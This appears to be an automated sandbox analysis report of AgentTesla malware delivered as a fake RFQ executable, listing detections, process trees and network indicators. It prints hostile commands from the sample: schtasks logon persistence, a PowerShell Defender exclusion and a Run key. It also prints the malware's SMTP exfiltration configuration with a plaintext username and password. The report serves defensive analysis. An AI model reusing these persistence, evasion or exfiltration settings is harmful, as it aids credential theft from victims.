Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Roaming\svchost.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe, ProcessId: 7520, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 185.230.214.164, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, Initiated: true, ProcessId: 8084, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49742

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' , CommandLine: schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' , CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' & exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7676, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' , ProcessId: 7748, ProcessName: schtasks.exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\svchost.exe, NewProcessName: C:\Users\user\AppData\Roaming\svchost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\svchost.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmp89F4.tmp.bat"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7704, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , ProcessId: 7872, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\svchost.exe, ParentImage: C:\Users\user\AppData\Roaming\svchost.exe, ParentProcessId: 7792, ParentProcessName: svchost.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force, ProcessId: 7972, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Users\user\AppData\Roaming\svchost.exe, CommandLine: C:\Users\user\AppData\Roaming\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\svchost.exe, NewProcessName: C:\Users\user\AppData\Roaming\svchost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 7224, ProcessCommandLine: C:\Users\user\AppData\Roaming\svchost.exe, ProcessId: 7792, ProcessName: svchost.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' & exit, CommandLine: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' & exit, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe", ParentImage: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe, ParentProcessId: 7520, ParentProcessName: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' & exit, ProcessId: 7676, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.zoho.eu", "Username": "logs@astonherald.com", "Password": "office12#"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\svchost.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Roaming\svchost.exe	Virustotal: Detection: 36%			Perma Link

Multi AV Scanner detection for submitted file

Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	ReversingLabs: Detection: 36%
Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Virustotal: Detection: 25%			Perma Link

Machine Learning detection for sample

Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Joe Sandbox ML: detected

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 0000000A.00000002.1920918632.000002168033C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1993738956.000001A48033C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.1950991965.0000028E8033C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1664238561.000002091F69C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe PID: 7520, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 8396, type: MEMORYSTR

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49759 version: TLS 1.2

Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb1 source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbv source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: System.Drawing.ni.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: AddInProcess32.pdbpw source: AddInProcess32.exe, 00000025.00000002.2930648063.0000000005F60000.00000004.00000020.00020000.00000000.sdmp, vexplorers.exe, 00000034.00000000.1950262138.00000000008B2000.00000002.00000001.01000000.0000000B.sdmp, vexplorers.exe.15.dr
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdb source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: .pdbHJ source: svchost.exe, 00000008.00000002.1993163112.000000A226562000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdb source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WERBC7D.tmp.dmp.31.dr
Source:	Binary string: System.Windows.Forms.pdb` source: WERA82A.tmp.dmp.18.dr
Source:	Binary string: System.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: svchost.exe, 00000008.00000002.2008517923.000001A4FFF58000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: System.Core.ni.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: C:\Users\user\AppData\Roaming\svchost.PDB source: svchost.exe, 00000008.00000002.1993163112.000000A226562000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: AddInProcess32.pdb source: AddInProcess32.exe, 00000025.00000002.2930648063.0000000005F60000.00000004.00000020.00020000.00000000.sdmp, vexplorers.exe, 00000034.00000000.1950262138.00000000008B2000.00000002.00000001.01000000.0000000B.sdmp, vexplorers.exe.15.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: svchost.exe, 00000008.00000002.2007386416.000001A4FE0AC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: pC:\Users\user\AppData\Roaming\svchost.PDB@ source: svchost.exe, 00000008.00000002.1993163112.000000A226562000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: Microsoft.VisualBasic.pdbp^y source: WERD370.tmp.dmp.40.dr
Source:	Binary string: mscorlib.ni.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 91\??\C:\Windows\symbols\dll\mscorlib.pdbx source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF76000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb\??\C:\Windows\mscorlib.pdb source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: Microsoft.VisualBasic.pdb- source: WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: svchost.PDB source: svchost.exe, 00000008.00000002.1993163112.000000A226562000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdban) source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: mscorlib.pdbSystem.Windows.Forms.ni.dllMZ source: WERBC7D.tmp.dmp.31.dr
Source:	Binary string: mscorlib.pdb@Yx source: WERD370.tmp.dmp.40.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Code function: 4x nop then jmp 00007FFD9B8B22DFh	0_2_00007FFD9B8B0620
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Code function: 4x nop then jmp 00007FFD9B8B46FCh	0_2_00007FFD9B8B44F5
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 4x nop then jmp 00007FFD9B8822DFh	8_2_00007FFD9B880620
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 4x nop then jmp 00007FFD9B8846FCh	8_2_00007FFD9B8844F5
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 4x nop then jmp 00007FFD9B8A22DFh	10_2_00007FFD9B8A19A9
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 4x nop then jmp 00007FFD9B8A46FCh	10_2_00007FFD9B8A44F5
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 4x nop then jmp 00007FFD9B8722DFh	27_2_00007FFD9B870620
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 4x nop then jmp 00007FFD9B8746FCh	27_2_00007FFD9B87451C
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 4x nop then jmp 00007FFD9B8B22DFh	41_2_00007FFD9B8B0620
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 4x nop then jmp 00007FFD9B8B46FCh	41_2_00007FFD9B8B44F5

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 10.2.svchost.exe.2169004f2c0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.21690133730.2.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.4:49739 -> 185.230.214.164:587

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: ip-api.com

Source: global traffic

TCP traffic: 192.168.2.4:49739 -> 185.230.214.164:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: smtp.zoho.eu

Source: InstallUtil.exe, 0000000F.00000002.2920560159.0000000005D70000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2870944580.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002C03000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2874204896.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CE1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002A17000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005D80000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CC0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2870897490.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2870404709.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2930648063.0000000005F60000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2926843010.0000000005F90000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2871849560.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.thawte.com/ThawteTLSRSACAG1.crt0
Source: InstallUtil.exe, 0000000F.00000002.2920560159.0000000005D70000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2870944580.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002C03000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2874204896.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CE1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002A17000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005D80000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CC0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2870897490.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2870404709.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2930648063.0000000005F60000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2926843010.0000000005F90000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2871849560.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cdp.thawte.com/ThawteTLSRSACAG1.crl0p
Source: InstallUtil.exe, 0000000F.00000002.2920560159.0000000005D70000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2870944580.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002C03000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CE1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002A17000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005D80000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CC0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2870897490.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2870404709.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2930648063.0000000005F60000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2874066632.0000000001001000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2926843010.0000000005F90000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2871849560.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002D37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=
Source: InstallUtil.exe, 0000000F.00000002.2877570286.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.00000000029B1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002C41000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: svchost.exe, 0000000A.00000002.1951190826.0000021690011000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.1951190826.0000021690133000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2868061435.0000000000437000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.00000000029B1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002C41000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
